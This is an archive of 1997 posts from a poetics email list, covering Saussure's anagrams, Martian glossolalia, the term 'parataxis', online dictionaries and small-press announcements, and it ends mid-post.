Re: homophonicism, check out as I mentioned before Starobinski's book on
Saussure's never-published years-long investigations into what he calls "hypograms" (extended vowel-sound anagrams of a key word or words spread
THROUGH other words across the poem like a kind of thematic bass-note). I
dug this up following an essay about, yes, again, sorry, Mandelstam, which

investigated the AMAZING anagrammatic fireworks in M's 1st poem from his 1st bk ("I am given a body - what to do with it?"). Saussure is aware of the danger of research solipsism, given the small # of vowel sounds, a line's undertone can be read in myriad ways - but he discovers some remarkable symmetries. Hart Crane was a master of this kind of thing.

> *To ask the meaning is to assume there is one, or that there's a process going on and what set it off is interesting and what will follow it is interesting. Maybe the meaning going on is sluggish? Maybe the critical will to proscribe (to place bets on?) what goes on *now* is off? But if it's not, then I'm placing my bets on what Henry's mentioned, the phonemic shuffle -- but with this corollary -- the paraphrasable meaning has to be as unfamiliar and overdetermined as the sound combinations are -- viz the recent work of Ben Friedlander, the lunch poems of Tim Davis, "Eon" by Kim Lyons, practically anything by Ange Mlinko. But I wouldn't bet _everything_, my printing press goes too slowly for that.*
>
> *Anyway, to echo Mark Wallace's call for a CONSCIOUS exploration of multiple approaches (as opposed to what Mark characterizes as a naive "anything goes" polymorphousness -- more about that dichotomy, Mark?) I'm more comfortable looking at Andrews' work as a reductio ad infinitum of Pound/Olson's idea that each poem must take its own form. Alice Notley's work has a similar impulse -- do a different thing. Those might be some interesting trajectories to track -- any grad schools out there with cash?*

The key word up there is "overdetermined". As Jordan & Mark is saying, multiple approaches should be looked for not only in the generational "scene" but within individual writers' works & individual WORKS. There's no simple formula for styles & schools. The phonemic shuffle, for example, can be understood not only as a "subtext" or undertone but as a method of producing poetry (see OM's "Conversation abt Dante" on the malleability of "poetic instruments") - which clearly is related to jazz improvization & glossolalia too. Words themselves become amazingly malleable under pressure (did anyone see the article in Times science section today about quantum "tunneling" through walls etc.?) - really very much like CLAY - and can be molded to "mean" literally dozens of things simultaneously (I'm mouthing the obvious for many of you out there). - Henry G.

↑ Index

703. **Michael Magee**

Re: L-Dopa

Tue 22 Jul 1997

Mark and Jordan conversing:
">that's in the mod/pomo stream), that tendency is very largely about
>**relinquishing** control, inviting the collaboration of the reader..

I know this is the jargon -- but is it the case? Even the jargon seems a little like _states' rights_, if you ask the individual with this reply address. But assuming that the jargon describes something about the relationships between writer work and reader, what would that collaboration be? (No fair citing O'Hara's Lucky Pierre -- not all of us went to adventurous schools) Filling in the blank spaces on the page (in a work like Bruce Andrews' _Tizzy Boost_)? Coming up with one's own brutal one-liners (in a work like Bruce Andrews' _I Don't Have Any Paper So Shut Up, (or, Social Romanticism)_)?"

I think the idea of filling in the blank spaces on the page is only the simplest expression of a readers collaboration and a writers willingness towards such collaboration. More interesting to me at least are those instances when a writer's willingness to collaborate with her readers is somehow inscribed in the language itself. Nate Mackey talks about how Creeley "registers the impact upon the rhythms of those thoughts of his apprehension of the other inhabitants of the field or space in which this articulation takes place. The allowance he makes for the sensibilities of his audience exemplifies a decentralizing impulse, a field approach, his admission that not only other things but also other minds exist." So, that's a kind of writer/reader collaboration, one which has been very important to me, one which I see coming down from people like Creeley, and even O'Hara, to the present moment.

-m.

↑ Index

704. Gwyn McVay
Missing word: can you help?
Tue 22 Jul 1997

Dear List,

I'm missing a word I used to know, and would greatly appreciate getting at least its phone number, if any of you can help.

The word is a theoretical/critical term. The words closest to it in sound and meaning that I can think of are disjunctive, dissociative, disruptive, but none of those is it. The missing word essentially describes the act, in poetics, of jumping from A to Z without traversing points B, C, D, et cetera along the way. An instantaneous flash, if you will.

I used to feel really smart when I used it, and it actually came in handy a lot for describing some of the things I am trying to do. A handsome reward (unless you would prefer an ugly reward) is offered for its safe return.

Thanks
Gwyn McVay

↑ Index

705. **George Thompson**
Re: What comes next? Martian poetics
Tue 22 Jul 1997

A tardy response to Henry Gould's interesting post, in particular to:

"To me the langpos haven't gone FAR ENOUGH in the direction of the microstructure, and an interesting development in the future will be toward Saussure's ideas about anagrams & paranomasia. Hart Crane was into this: "anagrammatize your Name", etc. Saussure found a pervasive subtext underneath a lot of classic latin poetry - the whole poem would be the scattered (Osiris) fragments of a thematic single WORD. Thematic - & referential. Build on it. The poem as architecture. Mandelstam again. & Yeats, too. heck yeah."

Saussure is a VERY interesting linguist, one who, like Jakobson, should be of great interest to poets in general. Of course he is best known for his "Course in General Linguistics" which triggered that language revolution which I'm sure you're all familiar with [structuralism, semiology, etc]. But as Henry points out he did very interesting work on poetic "microstructure" too [on an earlier thread there was discussion of sub-lexical, sub-morphemic, and even sub-phonemic analysis: Saussure worked very fruitfully on such things].

Although he triggered a revolution, Saussure was also a master of the old-style comparative linguistics [etymology, reconstruction, etc.]. Non-specialists often don't realize that Saussure pulled off one of the most impressive stunts in the history of linguistics. In his doctoral dissertation [he was 21 yrs old!], using the comparative method, he posited the existence of "sonant coefficients" that *must have existed* in the parent language, Proto-Indo-European, long-dead. This series of sounds did not survive in any known language, but accd to S's analysis, they must once have existed, way back in pre-history. Well, a generation or two later, well after S's death, Hittite was discovered, and when it was deciphered, guess what was found? The Hittite language, very archaic, preserved these very "sonant coefficients" exactly where S predicted they would be [they are now known as 'laryngeals']! This is an astonishing demonstration of the fact that the theoretical constructs of historical linguistics had a verifiable basis in reality [in real languages].

Saussure was also interesting for other, less mainstream, interests, such as the notebooks on anagrams that Henry cites. If it is feasible to write a book on Vedic poetics now, as I am trying to do, it is largely because Saussure and Jakobson have opened the eyes of Vedicists to things in "their"texts that they had not seen, in spite of 200 yrs of looking.

Then there is the matter of Martian poetics, which Saussure explored when he was invited to examine the glossolalia of a Mdme. Helene Smith, "famous clairvoyante". His researches are treated in Th. Flournoy's _From India to the Planet Mars_, recently reprinted somewhere.

When I teach Jakobson in a course on linguistics & literature, I suggest that J's conception of the poem is that it is a Rube Goldberg machine [= Henry's 'poem as architecture'].

Try to imagine Emily Vey Duke's recent poem as a Rube Goldberg machine ["a small one"].

George T

↑ Index

706. **henry g**
Re: Missing word: can you help?
Tue 22 Jul 1997

On Tue, 22 Jul 1997 10:29:51 -0400 Gwyn McVay said:
>I'm missing a word I used to know, and would greatly appreciate getting at
>least its phone number, if any of you can help.
>
>The word is a theoretical/critical term. The words closest to it in sound
>and meaning that I can think of are disjunctive, dissociative, disruptive,
>but none of those is it. The missing word essentially describes the act,
>in poetics, of jumping from A to Z without traversing points B, C, D, et
>cetera along the way. An instantaneous flash, if you will.

are you thinking of parataxis? I don't think so... - HG

↑ Index

707. **Christina Fairbank Chirot**
Re: What comes next? Martian poetics
Tue 22 Jul 1997

Re anagrams see work of one Edgar Allan Poe

> ("Murders in rue Morgue" done by an APE for ex.)
> Narrative of Arthur Gordon Pym: "proto eartwords"
> as Robert Smithson noted in "A Sedimentation of
> the Mind: Earth Projects"

re paronomasia

Futurist Russian poetry and much contemporary Russian work continuing those investigations and methods

dbchirography

On Tue, 22 Jul 1997, George Thompson wrote:

> *A tardy response to Henry Gould's interesting post, in particular to:*
>
> *"To me the langpos haven't gone FAR ENOUGH*
> *in the direction of the microstructure, and an interesting development*
> *in the future will be toward Saussure's ideas about anagrams & paranomasia.*
> *Hart Crane was into this: "anagrammatize your Name", etc. Saussure*
> *found a pervasive subtext underneath a lot of classic latin poetry -*
> *the whole poem would be the scattered (Osiris) fragments of a thematic*
> *single WORD. Thematic - & referential. Build on it. The poem as*
> *architecture. Mandelstam again. & Yeats, too. heck yeah."*
>
> *Saussure is a VERY interesting linguist, one who, like Jakobson, should be*
> *of great interest to poets in general. Of course he is best known for his*
> *"Course in General Linguistics" which triggered that language revolution*
> *which I'm sure you're all familiar with [structuralism, semiology, etc].*
> *But as Henry points out he did very interesting work on poetic*
> *"microstructure" too [on an earlier thread there was discussion of*
> *sub-lexical, sub-morphemic, and even sub-phonemic analysis: Saussure worked*
> *very fruitfully on such things].*
>
> *Although he triggered a revolution, Saussure was also a master of the*
> *old-style comparative linguistics [etymology, reconstruction, etc.].*
> *Non-specialists often don't realize that Saussure pulled off one of the*
> *most impressive stunts in the history of linguistics. In his doctoral*
> *dissertation [he was 21 yrs old!], using the comparative method, he posited*
> *the existence of "sonant coefficients" that *must have existed* in the*
> *parent language, Proto-Indo-European, long-dead. This series of sounds did*
> *not survive in any known language, but accd to S's analysis, they must once*
> *have existed, way back in pre-history. Well, a generation or two later,*
> *well after S's death, Hittite was discovered, and when it was deciphered,*
> *guess what was found? The Hittite language, very archaic, preserved these*
> *very "sonant coefficients" exactly where S predicted they would be [they*
> *are now known as 'laryngeals']! This is an astonishing demonstration of the*
> *fact that the theoretical constructs of historical linguistics had a*
> *verifiable basis in reality [in real languages].*
>
> *Saussure was also interesting for other, less mainstream, interests, such*
> *as the notebooks on anagrams that Henry cites. If it is feasible to write a*
> *book on Vedic poetics now, as I am trying to do, it is largely because*
> *Saussure and Jakobson have opened the eyes of Vedicists to things in*
> *"their"texts that they had not seen, in spite of 200 yrs of looking.*
>
> *Then there is the matter of Martian poetics, which Saussure explored when*
> *he was invited to examine the glossolalia of a Mdme. Helene Smith, "famous*
> *clairvoyante". His researches are treated in Th. Flournoy's _From India to*

> *the Planet Mars_, recently reprinted somewhere.*
>
> *When I teach Jakobson in a course on linguistics & literature, I suggest that J's conception of the poem is that it is a Rube Goldberg machine [= Henry's 'poem as architecture'].*
>
> *Try to imagine Emily Vey Duke's recent poem as a Rube Goldberg machine ["a small one"].*
>
> *George T*

↑ Index

708. **Gwyn McVay**
Re: Missing word: can you help?
Tue 22 Jul 1997

YES! O wonderful Henry! parataxis! parataxis! like what is always hanging around a metro stop! parataxis!

Next silly question: What is the opposite of parataxis? Is it something like "syntaxis"?

Gwyn, who promises, someday,
to get a proper dictionary of her own

↑ Index

709. **Fred Muratori**
Re: Missing word: can you help?
Tue 22 Jul 1997

> *Next silly question: What is the opposite of parataxis? Is it something like "syntaxis"?*
>
> *Gwyn, who promises, someday,*
> *to get a proper dictionary of her own*

I think it's "deathyntaxis."

****

Fred Muratori
(▇▇▇▇▇)
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

710. **Don Cheney**
Re: Missing word: can you help?
Tue 22 Jul 1997

Gwyn,

isn't that bthroughyaphobia? i use that all the time. it's a great word for scrabble. pisses people off, disrupts the game unless the players are so bored that they've disassociated themselves disjunctively from the action.

<tone change here>

actually, Gwyn, i have that problem too (missing words). except the words i forget are simple words which makes me very frustrated ("it's a simple, fucking word!... hand! that's it! HAND me the hammer!"). i have a similar problem with directions, with trying to visual directions in my head from memory. most times i can't do it at all. my mind will actually go blank -- nothing there -- like my mind is saying "don't EVEN go there!"

There's a billboard ad for Honda cars that i see every day that i drive home from work and it shows a Honda car and above it are the words:

Slam! Slam! Slam! Slam!

but my mind at first, second and third pass tells me:

Slap! Slarn! Slam! Slarn!

don cheney

> *Dear List,*
>
> *I'm missing a word I used to know, and would greatly appreciate getting at least its phone number, if any of you can help.*
>
> *The word is a theoretical/critical term. The words closest to it in sound and meaning that I can think of are disjunctive, dissociative, disruptive, but none of those is it. The missing word essentially describes the act, in poetics, of jumping from A to Z without traversing points B, C, D, et cetera along the way. An instantaneous flash, if you will.*
>
> *I used to feel really smart when I used it, and it actually came in handy a lot for describing some of the things I am trying to do. A handsome reward (unless you would prefer an ugly reward) is offered for its safe return.*

> *Thanks*
> *Gwyn McVay*

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

711. **Don Cheney**
Re: Missing word: can you help?
Tue 22 Jul 1997

---

it's hypotaxis, no? like all the hypotaxis in the zoo.

groucho: this is all so fascinating. i'm fascinated.

chico: i'm fascinated too. right on the arm.

don

> *YES! O wonderful Henry! parataxis! parataxis! like what is always hanging around a metro stop! parataxis!*
>
> *Next silly question: What is the opposite of parataxis? Is it something like "syntaxis"?*
>
> *Gwyn, who promises, someday,*
> *to get a proper dictionary of her own*

↑ Index

712. **David R. Israel**
Re: Missing word: can you help?
Tue 22 Jul 1997

\> Gwyn, who promises, someday,
> to get a proper dictionary of her own

meanwhile, you could use these:

WWWebster's Dictionary
at: http://www.m-w.com/netdict.htm

Hypertext Webster Interface
at: http://c.gp.cs.cmu.edu:5103/prog/webster

cheers / chimes/ chortles,
d.i.

↑ Index

713. nico vassilakis
NEW FROM SUB ROSA PRESS
Tue 22 Jul 1997

-NEW FROM SUB ROSA PRESS-

ORANGE: A Manual by Nico Vassilakis $7
illustrated by Friese Undine
ISBN:0-945085-11-7

Other Sub Rosa Titles:

1. clear-cut: Anthology, A Collection of Seattle Writers $10 edited by Nico Vassilakis www.speakeasy.org/clear-cut ISBN:0-945085-10-9 Laynie Browne, Heather McHugh, Steve Shaviro, Robert Mittenthal, John Olson, Noemie Maxwell, Tom Malone, Joseph Donahue, S.P.Miskowski, Jeanne Huev-ing and others.

2. Remixsponse Categoriarray #1 $15
(rubber cover, bolted, masonite back)

Nick Piombino, Daniel Davidson, John Perlman, Sheila Murphy, Robert Gregory, Crag Hill, Ezra Mark, Liz Was, Bob Grumman, Joel Lewis, Harry Polkinhorn, Charles Borkhuis and others.

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8. Twitch by John M Bennett $3
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$1.50 postage and handling
add $1.00 per book after

please make payable to Nico Vassilakis

Sub Rosa Press
6234 Carleton Ave S.
Seattle, WA 98108

[redacted]

thanks

↑ Index

714. David Bromige
russian river writers guild reading in sonoma town
Tue 22 Jul 1997

I thought everyone read well. I was struck by the _physicality_ of the readers--two dancers, an ice-skater-turned-long-distance cyclist, a maseuse,a long-distance runner : and was wondering whether the learned ability to objectify one's body doesnt bleed over into an awareness of the poem as an autonomous object--an awareness so often missing in your would-be poet, an awareness that understands poetry is something else than "i open my mouth and the words stream out, bound for poetry!" Layne Russell, Catherine Bowers, Cydney Chadwick, Jayne MacPherson, Karen Eberhardt--thanks to you all.

The radio i'view Layne Russell alludes to was in fact a talk on Beckett I gave because no-one around here reads him any more as far as I can discover.

On another matter, I am not so much "witty and charming" as indifferent and bewildered, by turns. WWhen I am not getting on someone's case, at which point, nothing is too small for me. I advance these disclaimer because I shall be traveling back east this fall, & want to avoid disappointing people looking for noel coward. I'm a grumpy old fart, but you can still be my friend. David B

↑ Index

715. Layne Russell
Re: entire urls
Tue 22 Jul 1997

charles alexander wrote:

> *Just nitpicking, but if people who include URLs in email messages would include the full address, in this case http://www.onelook.com/index.html then if people have their email configured to highlight URLs, double-click them and go right to their web browsers and to the sight, all will work fine.*

> *thanks,*
>
> *charles*

my sentiments exactly! thanks, Charles. it's a heck of a lot easier and faster to get around in this realm when these little protocols are observed.

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

[redacted]

↑ Index

716. **hg**
Re: What comes next? Martian poetics
Tue 22 Jul 1997

On Tue, 22 Jul 1997 10:26:22 -0500 Dave Chirot said:
>Re anagrams see work of one Edgar Allan Poe
>
> ("Murders in rue Morgue" done by an APE for ex.)
> Narrative of Arthur Gordon Pym: "proto eartwords"
> as Robert Smithson noted in "A Sedimentation of
> the Mind: Earth Projects"
>

& see John Irwin's fascinatin' book _Mystery to a Solution_ on the mazeful mirror methods of Poe & Borges.

but it's all a load of Alexandrian rotten eggs - all this microstructure - without the something... the anti-poetry... here's a mirror for you: c i v i c [scales] - Yhern Elahlu Dog

↑ Index

717. **dbkk**
Re: Missing word: can you help?
Tue 22 Jul 1997

At 12:15 PM -0400 7/22/97, David R. Israel wrote:

> *meanwhile, you could use these:*

> *WWWebster's Dictionary*
> *at: http://www.m-w.com/netdict.htm*

I tried this, David. First I entered "syncope," and I got:

> *Unable to answer query in the 10 seconds allowed.*

I decided to try a more common word, so I entered "frog," and I got:

> *Unable to answer query in the 10 seconds allowed.*

Oh well . . .

Dodie

↑ Index

718. **dbkk**
Re: Missing word: can you help?
Tue 22 Jul 1997

At 1:12 PM -0500 7/22/97, STACIE ELYSE SLOTNICK wrote:
>Try this:
>
>oed.harvard.edu/oed/

You have to be working at a station that has access, which probably is not a problem for you all you university-ites on the list.

> *http://c.gp.cs.cmu.edu:5103/prog/webster*

Worked nicely, found "casaba" in no time and offered me a detailed link to "melon."

Dodie

↑ Index

719. **Don Cheney**
Re: Missing word: can you help?
Tue 22 Jul 1997

---

dodie, i'm at the university of california, san diego and was denied access.

don

> *oed.harvard.edu/oed/*

Dodie:
>You have to be working at a station that has access, which probably is not
>a problem for you all you university-ites on the list.

↑ Index

720. **David Israel**
WWWebster! (wwwhere are you?)
Tue 22 Jul 1997

[was: Missing word: can you help?]

Dodie --

surprised to hear abt. the WWWrong IIInfo? --
(& apologies for poss. bbbbum steer?) --

can't check it out here at office (no WWW access)
will double-check tomorrow mornin' --
but I did use it successfully just yesterday . . .

vary streng indweed
d.i.

>>> <[redacted]> 07/22/97 01:07pm >>>
At 12:15 PM -0400 7/22/97, David R. Israel wrote:

> *meanwhile, you could use these:*
>
> *WWWebster's Dictionary*
> *at: http://www.m-w.com/netdict.htm*

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> *Unable to answer query in the 10 seconds allowed.*

Oh well . . .

Dodie

↑ Index

721. **Don Cheney**
Webtionaries
Tue 22 Jul 1997

---

i tried looking up the word hypotaxis at

http://c.gp.cs.cmu.edu:5103/prog/webster

and got this reply:

Unknown\Un*known"\, a. Not known; not apprehended. -- Un*known"ness, n. [R.] --Camden.

tried hypotaxis at

http://www.m-w.com/netdict.htm

and got a reply that stated no findings after allotted 10 seconds

tried again and got:

Main Entry: hy·po·tax·is
Pronunciation: -'tak-s&s
Function: noun
Etymology: New Latin, from Greek, subjection, from hypotassein to arrange under, from hypo- + tassein to arrange
Date: 1883
: syntactic subordination (as by a conjunction)

don

↑ Index

722. Bob Grotjohn
Re: Missing word: can you help?
Tue 22 Jul 1997

OED--as for 1883, I would have thought it to be the reverse

parataxis pæratæ;ksis. Gram. [mod.a. Gr. paratacij a placing side by side, f.
paratass-ein to place side by side, f. para- para-1 1 + tassein to arrange, tacij
arrangement.] The placing of propositions or clauses one after another, without indicating by
connecting words the relation (of co-ordination or subordination) between them.

1842 in Brande Dict. Sci. etc.

1883 B. L. Gildersleeve in Amer. Jrnl. Philol. IV. 420 Now to make hypotaxis out
of parataxis we must have a joint.

1888 W. Leaf Iliad II. 414 A good instance of primitive parataxis, two clauses being
merely set side by side.
--
Bob Grotjohn

↑ Index

723. **Jay Schwartz**
Re: Naropa Dopa & Kim Yawn
Tue 22 Jul 1997

Well, I fucked up. That post was intended for backchannel. I hope you all enjoy this bit of unintended disclosure. Or get really angry.

Seems strangely appropriate given issues of late plotzing on the List.

Jay Schwartz

↑ Index

724. **STACIE ELYSE SLOTNICK**
Re: Missing word: can you help?
Tue 22 Jul 1997

Try this:

oed.harvard.edu/oed/

Stacie S.

↑ Index

725. **George Thompson**
Re: What comes next? Martian poetics
Tue 22 Jul 1997

A Martian poem for the list's delectation [n.b. diacritic marks go with the preceding letter]:

mode' tanine'e ce' ke' mache radzire' ze' tarvini
va nini nini trime'ne^ni ii adzi
ce' ze' sei¨mire' ve'tiche
i mode' ine'e ke'vi be'rimir m hed
machiri ce' di trine' ti e'stotine' ni baze'e animina
i mode' ce' me'i¨ adzi iline'e
i mode' ine'e ce' ke' le' naze`re ani --
mira^ mode' itatine'e
mira^ mira^ mira^

Translation:

My dearest, I cannot pronounce the language
in which we understood each other so well!
I understand it, however!
Oh! adored mother, when will it return?
When shall I be able to speak to thee of my last and short existence?

Oh! mother, I have well recognized thee
Oh! mother, I am not mistaken!
Farewell, dearest mother,
farewell, farewell, farewell!

N.B. Being no Martiologist myself, I give this in Flournoy's rather florid translation [itself translated from the florid French].

Henry, do you smell any Alexandrian rotten eggs here? Or Martian marigolds?

George T

p.s. Yes, Russian poets and critics have been there [I mean Mir] for quite some time.

↑ Index

726. **dbkk**
Re: WWWebster! (wwwhere are you?)
Tue 22 Jul 1997

At 1:43 PM -0400 7/22/97, David Israel wrote:

> *surprised to hear abt. the WWWrong IIInfo? --*
> *(& apologies for poss. bbbbum steer?) --*
>
> *can't check it out here at office (no WWW access)*
> *will double-check tomorrow mornin' --*
> *but I did use it successfully just yesterday . . .*

David,

I'm sure it's just a matter of trying to use the site during a high-use period. There's probably an x-amount of users allowed on at any given time.

Dodie

↑ Index

727. **Eliza McGrand- CVA Guest**
Re: Missing word: can you help?
Tue 22 Jul 1997

---

gwyn

disjointed?

my thesaurus provides the following possibles as well:
seperated, unconnected, detached, disarticulated, spasmodic, disconnected, discontinuous, heterogeneous

other possible -- aporia? disengaged?
e

↑ Index

728. **George Thompson**
Re: Missing word: can you help?
Tue 22 Jul 1997

> *Mime-Version: 1.0*
> *Date: Tue, 22 Jul 1997 13:55:33 -0400*
> *Reply-To:* [redacted]
> *Sender: UB Poetics discussion group <*[redacted]*>*
> *From: Bob Grotjohn <*[redacted]*>*
> *Subject: Re: Missing word: can you help?*
> *To:* [redacted]
>
> *OED--as for 1883, I would have thought it to be the reverse*
>
> *parataxis pfratf;ksis. Gram. [mod.a. Gr. paratacij a placing side by side, f.*
> *paratass-ein to place side by side, f. para- para-1 1 + tassein to arrange, tacij*
> *arrangement.] The placing of propositions or clauses one after another, without indicating by*
> *connecting words the relation (of co-ordination or subordination) between them.*
>
> *1842 in Brande Dict. Sci. etc.*
>
> *1883 B. L. Gildersleeve in Amer. Jrnl. Philol. IV. 420 Now to make hypotaxis out*
> *of parataxis we must have a joint.*
>
> *1888 W. Leaf Iliad II. 414 A good instance of primitive parataxis, two clauses being*
> *merely set side by side.*
> *--*
> *Bob Grotjohn*

↑ Index

729. **STACIE ELYSE SLOTNICK**
Re: Missing word: can you help?
Tue 22 Jul 1997

Whoops! I didn't realize that the oed.harvard site was a harvard-only site- my summer job is @ harvard, which would explain why I could get in from my work computer. Anyway, try this site:

www.onelook.com/index.html

Which is a neat site that can search multiple on-line dictionareis at once. Alas, however, it doesn't seem to include the OED.

Apologies again for the access-blunder.

Stacie S.

↑ Index

730. **henry**
Re: What comes next? Martian poetics
Tue 22 Jul 1997

On Tue, 22 Jul 1997 14:22:08 -0400 George Thompson said:
>
>Henry, do you smell any Alexandrian rotten eggs here? Or Martian marigolds?

I like the original. Reminds me of a dialect I learned as a wee lad in the scandinavian wilds of upstate MN : Unfinnish. Though the civic ambience is not easy to detect on the surface, the poem does have a public side. Can you find it? Down around the 4th hypogrammatic level, there's a key theme-word there: EUREKA. & if you scan for anagram- vowels in the TRANSLATION, you get the following: GREETINGS, EARTHLINGS. BOW DOWN BEFORE YOUR MASTERS, THE RULERS OF MARS. (As everyone knows, the poem was recited from the pod door back in the 30s when they landed in New Jersey.) -
HH...G...HH

↑ Index

731. **Gwyn McVay**
Re: Missing word: can you help?
Tue 22 Jul 1997

Eliza and everybody,

Thanks. I actually got a letter in response to my fan letter to Jack Spandrift today, and on the envelope he had scrawled "beware parataxis!" and below it the postmaster had scrawled "beware its opposite, hypotaxis!" and all of a sudden

this koan totally illuminated me. But "aporia" is certainly one of the other good ones to make people's eyes glaze over at parties.

bests
Gwyn

↑ Index

732. **Brian Carpenter**
Re: bric-a-brac
Tue 22 Jul 1997

<< Enjoy Seattle Ron. My sister worked in Hanford in the late 80's or early 90's. The place became the world's biggest requirer of scientists overnight when a new research facility was opened to try to find out why a crust had formed over the nuclear material in the reactors. The occasional burp of gases through said crust, I think Fiona, my sister, said every 15 mins, increased the risk of the things exploding by surely it wasn't 50%? She now works in Italy after a minor hiccup one Thursday afternoon. T-shirts were on sale in Hanford bearing the mushroom cloud image under which was written: Made in America, Tested in Japan. It still shocks me. >>

Reminds me of the notorious team mascot of Richland (i think) High School, just down the river in Richland, WA: the Bombers. Dont know the team colors, but the football team helmets, etc, sport a mushroom cloud as the school logo, and apparently there is also a very large cloud painted in the school gym, to make those pep rallies all the more lively.

BC

↑ Index

733. **hg**
Re: Missing word: can you help?
Tue 22 Jul 1997

On Tue, 22 Jul 1997 15:17:22 -0400 Gwyn McVay said:
>
>Thanks. I actually got a letter in response to my fan letter to Jack
>Spandrift today, and on the envelope he had scrawled "beware parataxis!"
>and below it the postmaster had scrawled "beware its opposite, hypotaxis!"
>and all of a sudden this koan totally illuminated me. But "aporia" is
>certainly one of the other good ones to make people's eyes glaze over at
>parties.

Gwyn, remember, whatever Henry says about Jack is a lie. This is the truth. "Aporia" is one of those words that makes me feel queasy. Maybe because it is

faintly recursive [is that word "dictionary" in the dictionary?]. When EA Poe was wooing SH Whitman in Providence, he wrote out a copy of his poem "To Helen" & then FOLDED IT LIKE AN ENVELOPE & sent it to her (pearl-lined) in the mail. They thought they were twins. SH's father's name was Power; one version of Poe's family name was Poer. They weren't really related. - Eric Blarnes

Zen student: If I feel butterflies in my stomach, do they exist? Zen master (JS): The rice dreams of the paddy wagon. Dream on, junior.

POE-OM POE-OM POE-OM (OM means "breath")

↑ Index

734. Aldon L. Nielsen
Re: Paromologia
Tue 22 Jul 1997

---

was denied access to the language this morning -- has anybody else encountered this problem?

↑ Index

735. charles alexander
Re: Missing word: can you help?
Tue 22 Jul 1997

At 01:47 PM 7/22/97 -0500, you wrote:
>Whoops! I didn't realize that the oed.harvard site was a harvard-only site-
>my summer job is @ harvard, which would explain why I could get in from my
>work computer. Anyway, try this site:
>
>www.onelook.com/index.html

Just nitpicking, but if people who include URLs in email messages would include the full address, in this case http://www.onelook.com/index.html then if people have their email configured to highlight URLs, double-click them and go right to their web browsers and to the sight, all will work fine.

thanks,

charles

↑ Index

736. charles alexander
repetitions
Tue 22 Jul 1997

I agree with Joel that repetitions of topics within short time frames can be frustrating. But I think web behavior is such that there's not much to do about this. People do come onto lists all the time and have concerns that have come up before. And if anyone did a statistical study I would hazard a prediction that a tiny percentage of people ever go back through archives, rather than try to get answers or conversation going immediately. Personally, if this list was always at such a level of new ideas that it was consistently compelling for me, then it would be nearly too much and I wouldn't have enough time for it at all. As is, I can go through periods where I don't participate much at all, skimming for the most part, yet joining in again when something moves me to do so.

Compared with another list I'm on, concerned with design for the web, the repetition on poetics is slight. But on the webdesign list, it's usually a question of someone who needs to know some java trick, and asking for help. Then a couple of weeks later, someone else needs to know basically the same thing, and asks for it. Often I'm glad for the repetition, in case I failed to note the code in the first place.

And here, I do find that the repetitions aren't usually exact, and it's good to hear new voices.

I think there's a web-sociology list out there somewhere which discusses how people behave on the web & why, how lists tend to work and be repetitive, etc. I don't have the address handy, but perhaps someone else does.

Still, for the most part I have to agree with Joel's post, and say that it's always good to hear from you, Joel.

charles

↑ Index

737. Pritchett,Pat
Re: Paromologia
Tue 22 Jul 1997

could be explained by the fact that when I looked up this suspicious word on our LAN's Random House Unabridged Electronic Dictionary, I got "parolee" - coincidence? I think not.

From: Aldon L. Nielsen
To: POETICS

Subject: Re: Paromologia
Date: Tuesday, July 22, 1997 3:56PM

was denied access to the language this morning -- has anybody else encountered this problem?

↑ Index

738. Alan J Sondheim
JULU-VIRTUAL-WORLD (fwd)
Tue 22 Jul 1997

(This might or might not be of interest here; there are other additional graphics files as well at the site - and of course texts. Alan)

Subject: JULU-VIRTUAL-WORLD

From the mirror URL at

MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt

You can easily get to JULU-WORLD, which is a fairly slim VRML (150k). Psychoanalysis meets cinder-block.

This works on Netscape 3.0 and other browsers with native VRML readers or with the COSMOS reader (at least), which is clumsy to be sure. If your browser or system can read .mus documents, you get a bit of text; go to

http://www.anu.edu.au/english/internet_txt/ab.mus

The other full address is:

http://www.anu.edu.au/english/internet_txt/ab.wrl

which is standard VRML as far as I know.

Alan

↑ Index

739. charles alexander
dog days
Tue 22 Jul 1997

Some talk of dictionaries lately, and I tried various lookups with no help. Can anyone here help me? Mi esposa is teaching an art class to 5 to 8 year olds and has titled it "Hot Dog Days" -- it is very hot in southern Arizona right now. The children are making drawings of dogs, paintings of dogs, a mural of dogs, and building and decorating dog houses.

Her question: when did the term "hot dog" (meaning the sandwich, mostly) come into usage, and why did it come into usage, or how? Any information is

much appreciated. I couldn't find it all in the OED, and while I found it in some other dictionaries, I didn't find any historical information of use.

Her class is over at the end of this week, so an answer today or tomorrow would be most helpful. I don't think I've ever used this list before as a library resource/question desk, and if anyone thinks such use is an abuse of the list, I apologize.

Unless anyone else is remotely interested, please email me directly at [redacted] and not the poetics list.

thanks,

charles

↑ Index

740. **Schuchat Simon**
Re: Missing word: can you help?
Tue 22 Jul 1997

---

paratactic?

↑ Index

741. **Christina Fairbank Chirot**
Re: What came before?a Martian poetics 1916
Tue 22 Jul 1997

Martian poetics has already been accomplished
at least in part--a project ongoing

see from 1916 "The Trumpet of the Martians" in Collected Works of Velimir Khlebnikov Volume One 321-24 (Harvard UP 1987)

"All the illustrious particpants in Futurian publications are hereby promoted from the ranks of human beings to the ranks of Martians."

ZA DA ("beyond yes")! --dbchirography

↑ Index

742. **Maria Damon**
Re: What came before?a Martian poetics 1916
Tue 22 Jul 1997

---

not to mention --again --spicer, sun ra and guido cavalcanti

At 7:49 PM -0500 7/22/97, Christina Fairbank Chirot wrote:
> Martian poetics has already been accomplished

>at least in part--a project ongoing
>
> see from 1916 "The Trumpet of the Martians" in Collected Works of
>Velimir Khlebnikov Volume One 321-24 (Harvard UP 1987)
>
> "All the illustrious particpants in Futurian publications are
>hereby promoted from the ranks of human beings to the ranks of Martians."
>
> ZA DA ("beyond yes")! --dbchirography

↑ Index

743. **Maria Damon**

Re: dog days

Tue 22 Jul 1997

At 8:25 PM -0400 7/22/97, charles alexander wrote:
...
>
>Her question: when did the term "hot dog" (meaning the sandwich, mostly)
>come into usage, and why did it come into usage, or how? Any information is
>much appreciated. I couldn't find it all in the OED, and while I found it
>in some other dictionaries, I didn't find any historical information of use.
>
>Her class is over at the end of this week, so an answer today or tomorrow
>would be most helpful. I don't think I've ever used this list before as a
